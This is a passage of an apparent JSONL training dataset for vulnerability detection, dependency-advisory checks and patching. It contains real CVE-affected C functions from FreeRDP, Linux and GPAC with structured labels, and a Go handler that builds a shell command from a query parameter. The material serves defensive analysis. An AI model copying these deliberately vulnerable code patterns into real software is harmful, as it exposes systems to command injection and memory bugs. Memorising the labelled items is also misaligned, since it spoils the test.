sizeof(RECTANGLE_16);\n\n\t\t\tif (toMove)\n\t\t\t\tMoveMemory(band2, endBand, toMove);\n\n\t\t\tfinalNbRects -= bandItems;\n\t\t\tendPtr -= bandItems;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tband1 = band2;\n\t\t}\n\t}\n\twhile (TRUE);\n \n \tif (finalNbRects != nbRects)\n \t{\n\t\tint allocSize = sizeof(REGION16_DATA) + (finalNbRects * sizeof(RECTANGLE_16));\n\t\tregion->data = realloc(region->data, allocSize);\n \n \t\tif (!region->data)\n \t\t{\n\t\t\tregion->data = &empty_region;\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tregion->data->nbRects = finalNbRects;\n\t\tregion->data->size = allocSize;\n\t}\n\n\treturn TRUE;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-772\",\n \"cwe_name\": \"Missing Release of Resource\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2019-17178\",\n \"project\": \"FreeRDP\",\n \"vulnerable_lines\": [\n 63,\n 64\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 61,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 61,\n \"col\": 5\n },\n {\n \"token\": \"finalNbRects\",\n \"ast_node\": \"identifier\",\n \"line\": 61,\n \"col\": 6\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 61,\n \"col\": 19\n },\n {\n \"token\": \"nbRects\",\n \"ast_node\": \"identifier\",\n \"line\": 61,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 61,\n \"col\": 29\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 62,\n \"col\": 2\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 63,\n \"col\": 2\n },\n {\n \"token\": \"allocSize\",\n \"ast_node\": \"identifier\",\n \"line\": 63,\n \"col\": 6\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 63,\n \"col\": 16\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 63,\n \"col\": 18\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 63,\n \"col\": 24\n },\n {\n \"token\": \"REGION16_DATA\",\n \"ast_node\": \"identifier\",\n \"line\": 63,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 63,\n \"col\": 38\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 63,\n \"col\": 40\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 63,\n \"col\": 42\n },\n {\n \"token\": \"finalNbRects\",\n \"ast_node\": \"identifier\",\n \"line\": 63,\n \"col\": 43\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 63,\n \"col\": 56\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 63,\n \"col\": 58\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 63,\n \"col\": 64\n },\n {\n \"token\": \"RECTANGLE_16\",\n \"ast_node\": \"identifier\",\n \"line\": 63,\n \"col\": 65\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 63,\n \"col\": 77\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 63,\n \"col\": 78\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 63,\n \"col\": 79\n },\n {\n \"token\": \"region\",\n \"ast_node\": \"identifier\",\n \"line\": 64,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 64,\n \"col\": 8\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 64,\n \"col\": 10\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 64,\n \"col\": 15\n },\n {\n \"token\": \"realloc\",\n \"ast_node\": \"identifier\",\n \"line\": 64,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 64,\n \"col\": 24\n },\n {\n \"token\": \"region\",\n \"ast_node\": \"identifier\",\n \"line\": 64,\n \"col\": 25\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 64,\n \"col\": 31\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 64,\n \"col\": 33\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 64,\n \"col\": 37\n },\n {\n \"token\": \"allocSize\",\n \"ast_node\": \"identifier\",\n \"line\": 64,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 64,\n \"col\": 48\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 64,\n \"col\": 49\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 66,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 66,\n \"col\": 6\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 66,\n \"col\": 7\n },\n {\n \"token\": \"region\",\n \"ast_node\": \"identifier\",\n \"line\": 66,\n \"col\": 8\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 66,\n \"col\": 14\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 66,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 66,\n \"col\": 20\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 67,\n \"col\": 3\n },\n {\n \"token\": \"region\",\n \"ast_node\": \"identifier\",\n \"line\": 68,\n \"col\": 3\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 68,\n \"col\": 9\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 68,\n \"col\": 11\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 68,\n \"col\": 16\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 68,\n \"col\": 18\n },\n {\n \"token\": \"empty_region\",\n \"ast_node\": \"identifier\",\n \"line\": 68,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 68,\n \"col\": 31\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 69,\n \"col\": 3\n },\n {\n \"token\": \"FALSE\",\n \"ast_node\": \"false\",\n \"line\": 69,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 69,\n \"col\": 15\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 70,\n \"col\": 2\n },\n {\n \"token\": \"region\",\n \"ast_node\": \"identifier\",\n \"line\": 72,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 72,\n \"col\": 8\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 72,\n \"col\": 10\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 72,\n \"col\": 14\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " void cipso_v4_sock_delattr(struct sock *sk)\n {\n \tint hdr_delta;\n\tstruct ip_options *opt;\n \tstruct inet_sock *sk_inet;\n \n \tsk_inet = inet_sk(sk);\n\topt = sk_inet->opt;\n\tif (opt == NULL || opt->cipso == 0)\n \t\treturn;\n \n\thdr_delta = cipso_v4_delopt(&sk_inet->opt);\n \tif (sk_inet->is_icsk && hdr_delta > 0) {\n \t\tstruct inet_connection_sock *sk_conn = inet_csk(sk);\n \t\tsk_conn->icsk_ext_hdr_len -= hdr_delta;\n\t\tsk_conn->icsk_sync_mss(sk, sk_conn->icsk_pmtu_cookie);\n\t}\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2012-3552\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 4,\n 8,\n 9,\n 12\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"cipso_v4_sock_delattr\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 27\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \"sock\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 35\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 40\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"hdr_delta\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"ip_options\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"opt\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"inet_sock\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 19\n },\n {\n \"token\": \"sk_inet\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 27\n },\n {\n \"token\": \"sk_inet\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 10\n },\n {\n \"token\": \"inet_sk\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 19\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 22\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 23\n },\n {\n \"token\": \"opt\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"sk_inet\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 8,\n \"col\": 14\n },\n {\n \"token\": \"opt\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 19\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 4\n },\n {\n \"token\": \"opt\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 9,\n \"col\": 12\n },\n {\n \"token\": \"||\",\n \"ast_node\": \"||\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \"opt\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 20\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 23\n },\n {\n \"token\": \"cipso\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 25\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 9,\n \"col\": 31\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 9,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 35\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 10,\n \"col\": 3\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 9\n },\n {\n \"token\": \"hdr_delta\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 11\n },\n {\n \"token\": \"cipso_v4_delopt\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 28\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 12,\n \"col\": 29\n },\n {\n \"token\": \"sk_inet\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 30\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 12,\n \"col\": 37\n },\n {\n \"token\": \"opt\",\n \"ast_node\": \"field_identifier\",\n \"line\": 12,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 42\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 43\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 13,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: chromium\nInstalled version: 152.0.7977.75-1~deb12u1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"chromium\",\n \"installed_version\": \"152.0.7977.75-1~deb12u1\",\n \"note\": \"chromium 152.0.7977.75-1~deb12u1 is at or above the fixed version for DEBIAN-CVE-2026-79181; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:13\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.11.7-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: resource,kexec: walk_system_ram_res_rev must retain resource flags walk_system_ram_res_rev() erroneously discards resource flags w...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2024-50303\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:13\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.11.7-1\",\n \"fixed_version\": \"6.11.7-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: resource,kexec: walk_system_ram_res_rev must retain resource flags walk_system_ram_res_rev() erroneously discards resource flags w...\",\n \"remediation\": \"Upgrade linux to 6.11.7-1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: react\nInstalled version: 0.0.1\nSummary: Cross-Site Scripting in react", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-hg79-j56m-fxgv\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"npm\",\n \"package\": \"react\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0.0.1, <0.14.0\",\n \"fixed_version\": \"0.14.0\",\n \"finding\": \"Cross-Site Scripting in react\",\n \"remediation\": \"Upgrade react to 0.14.0 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "GF_Err hdlr_dump(GF_Box *a, FILE * trace)\n {\n \tGF_HandlerBox *p = (GF_HandlerBox *)a;\n \tgf_isom_box_dump_start(a, \"HandlerBox\", trace);\n\tif (p->nameUTF8 && (u32) p->nameUTF8[0] == strlen(p->nameUTF8+1)) {\n \t\tfprintf(trace, \"hdlrType=\\\"%s\\\" Name=\\\"%s\\\" \", gf_4cc_to_str(p->handlerType), p->nameUTF8+1);\n \t} else {\n \t\tfprintf(trace, \"hdlrType=\\\"%s\\\" Name=\\\"%s\\\" \", gf_4cc_to_str(p->handlerType), p->nameUTF8);\n\t}\n\tfprintf(trace, \"reserved1=\\\"%d\\\" reserved2=\\\"\", p->reserved1);\n\tdump_data(trace, (char *) p->reserved2, 12);\n\tfprintf(trace, \"\\\"\");\n\n\tfprintf(trace, \">\\n\");\n\tgf_isom_box_dump_done(\"HandlerBox\", a, trace);\n\treturn GF_OK;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"cve\": \"CVE-2018-13006\",\n \"fixed_code\": \"GF_Err hdlr_dump(GF_Box *a, FILE * trace)\\n {\\n \\tGF_HandlerBox *p = (GF_HandlerBox *)a;\\n \\tgf_isom_box_dump_start(a, \\\"HandlerBox\\\", trace);\\n\\tif (p->nameUTF8 && (u32) p->nameUTF8[0] == strlen(p->nameUTF8)-1) {\\n \\t\\tfprintf(trace, \\\"hdlrType=\\\\\\\"%s\\\\\\\" Name=\\\\\\\"%s\\\\\\\" \\\", gf_4cc_to_str(p->handlerType), p->nameUTF8+1);\\n \\t} else {\\n \\t\\tfprintf(trace, \\\"hdlrType=\\\\\\\"%s\\\\\\\" Name=\\\\\\\"%s\\\\\\\" \\\", gf_4cc_to_str(p->handlerType), p->nameUTF8);\\n\\t}\\n\\tfprintf(trace, \\\"reserved1=\\\\\\\"%d\\\\\\\" reserved2=\\\\\\\"\\\", p->reserved1);\\n\\tdump_data(trace, (char *) p->reserved2, 12);\\n\\tfprintf(trace, \\\"\\\\\\\"\\\");\\n\\n\\tfprintf(trace, \\\">\\\\n\\\");\\n\\tgf_isom_box_dump_done(\\\"HandlerBox\\\", a, trace);\\n\\treturn GF_OK;\\n}\\n\",\n \"change_summary\": \"fixed 2 possible heap overflows (inc. #1088)\"\n}"} {"task": "ast_vuln_detection", "language": "go", "cwe": "CWE-78", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Analyze this go snippet at the AST level. Find the data-flow sink that introduces a vulnerability, map the tainted tokens to their AST node types, and return the detection result as JSON.", "input": "func ping(w http.ResponseWriter, r *http.Request) {\n\tvalue := r.URL.Query().Get(\"file\")\n\tout, _ := exec.Command(\"sh\", \"-c\", \"ping -c 1 \"+value).Output()\n\tw.Write(out)\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"cwe_name\": \"OS Command Injection\",\n \"title\": \"Command injection via exec.Command sh -c\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"source_file\",\n \"function_declaration\",\n \"block\",\n \"statement_list\",\n \"short_var_declaration\",\n \"expression_list\",\n \"call_expression\",\n \"selector_expression\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"exec\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"Command\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"sh\",\n \"ast_node\": \"interpreted_string_literal_content\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \"-c\",\n \"ast_node\": \"interpreted_string_literal_content\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 33\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 36\n },\n {\n \"token\": \"ping -c 1 \",\n \"ast_node\": \"interpreted_string_literal_content\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 47\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 48\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 54\n }\n ],\n \"explanation\": \"User input is concatenated into a shell -c command, allowing injection.\",\n \"remediation\": \"Avoid shell invocation; pass arguments as an array to exec APIs and validate/allow-list inputs.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int snd_dma_alloc_pages_fallback(int type, struct device *device, size_t size,\n\t\t\t\t struct snd_dma_buffer *dmab)\n{\n\tint err;\n\n\tsnd_assert(size > 0, return -ENXIO);\n\tsnd_assert(dmab != NULL, return -ENXIO);\n\n\twhile ((err = snd_dma_alloc_pages(type, device, size, dmab)) < 0) {\n\t\tif (err != -ENOMEM)\n\t\t\treturn err;\n\t\tsize >>= 1;\n\t\tif (size <= PAGE_SIZE)\n\t\t\treturn -ENOMEM;\n\t}\n\tif (! dmab->area)\n\t\treturn -ENOMEM;\n\treturn 0;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int ext4_symlink(struct inode *dir,\n\t\t\tstruct dentry *dentry, const char *symname)\n{\n\thandle_t *handle;\n\tstruct inode *inode;\n\tint l, err, retries = 0;\n\tint credits;\n\n\tl = strlen(symname)+1;\n\tif (l > dir->i_sb->s_blocksize)\n\t\treturn -ENAMETOOLONG;\n\n\tdquot_initialize(dir);\n\n\tif (l > EXT4_N_BLOCKS * 4) {\n\t\t/*\n\t\t * For non-fast symlinks, we just allocate inode and put it on\n\t\t * orphan list in the first transaction => we need bitmap,\n\t\t * group descriptor, sb, inode block, quota blocks, and\n\t\t * possibly selinux xattr blocks.\n\t\t */\n\t\tcredits = 4 + EXT4_MAXQUOTAS_INIT_BLOCKS(dir->i_sb) +\n\t\t\t EXT4_XATTR_TRANS_BLOCKS;\n\t} else {\n\t\t/*\n\t\t * Fast symlink. We have to add entry to directory\n\t\t * (EXT4_DATA_TRANS_BLOCKS + EXT4_INDEX_EXTRA_TRANS_BLOCKS),\n\t\t * allocate new inode (bitmap, group descriptor, inode block,\n\t\t * quota blocks, sb is already counted in previous macros).\n\t\t */\n\t\tcredits = EXT4_DATA_TRANS_BLOCKS(dir->i_sb) +\n\t\t\t EXT4_INDEX_EXTRA_TRANS_BLOCKS + 3 +\n\t\t\t EXT4_MAXQUOTAS_INIT_BLOCKS(dir->i_sb);\n\t}\nretry:\n\thandle = ext4_journal_start(dir, credits);\n\tif (IS_ERR(handle))\n\t\treturn PTR_ERR(handle);\n\n\tif (IS_DIRSYNC(dir))\n\t\text4_handle_sync(handle);\n\n\tinode = ext4_new_inode(handle, dir, S_IFLNK|S_IRWXUGO,\n\t\t\t &dentry->d_name, 0, NULL);\n\terr = PTR_ERR(inode);\n\tif (IS_ERR(inode))\n\t\tgoto out_stop;\n\n\tif (l > EXT4_N_BLOCKS * 4) {\n\t\tinode->i_op = &ext4_symlink_inode_operations;\n\t\text4_set_aops(inode);\n\t\t/*\n\t\t * We cannot call page_symlink() with transaction started\n\t\t * because it calls into ext4_write_begin() which can wait\n\t\t * for transaction commit if we are running out of space\n\t\t * and thus we deadlock. So we have to stop transaction now\n\t\t * and restart it when symlink contents is written.\n\t\t * \n\t\t * To keep fs consistent in case of crash, we have to put inode\n\t\t * to orphan list in the mean time.\n\t\t */\n\t\tdrop_nlink(inode);\n\t\terr = ext4_orphan_add(handle, inode);\n\t\text4_journal_stop(handle);\n\t\tif (err)\n\t\t\tgoto err_drop_inode;\n\t\terr = __page_symlink(inode, symname, l, 1);\n\t\tif (err)\n\t\t\tgoto err_drop_inode;\n\t\t/*\n\t\t * Now inode is being linked into dir (EXT4_DATA_TRANS_BLOCKS\n\t\t * + EXT4_INDEX_EXTRA_TRANS_BLOCKS), inode is also modified\n\t\t */\n\t\thandle = ext4_journal_start(dir,\n\t\t\t\tEXT4_DATA_TRANS_BLOCKS(dir->i_sb) +\n\t\t\t\tEXT4_INDEX_EXTRA_TRANS_BLOCKS + 1);\n\t\tif (IS_ERR(handle)) {\n\t\t\terr = PTR_ERR(handle);\n\t\t\tgoto err_drop_inode;\n\t\t}\n\t\tset_nlink(inode, 1);\n\t\terr = ext4_orphan_del(handle, inode);\n\t\tif (err) {\n\t\t\text4_journal_stop(handle);\n\t\t\tclear_nlink(inode);\n\t\t\tgoto err_drop_inode;\n\t\t}\n\t} else {\n\t\t/* clear the extent format for fast symlink */\n\t\text4_clear_inode_flag(inode, EXT4_INODE_EXTENTS);\n\t\tinode->i_op = &ext4_fast_symlink_inode_operations;\n\t\tmemcpy((char *)&EXT4_I(inode)->i_data, symname, l);\n\t\tinode->i_size = l-1;\n\t}\n\tEXT4_I(inode)->i_disksize = inode->i_size;\n\terr = ext4_add_nondir(handle, dentry, inode);\nout_stop:\n\text4_journal_stop(handle);\n\tif (err == -ENOSPC && ext4_should_retry_alloc(dir->i_sb, &retries))\n\t\tgoto retry;\n\treturn err;\nerr_drop_inode:\n\tunlock_new_inode(inode);\n\tiput(inode);\n\treturn err;\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": 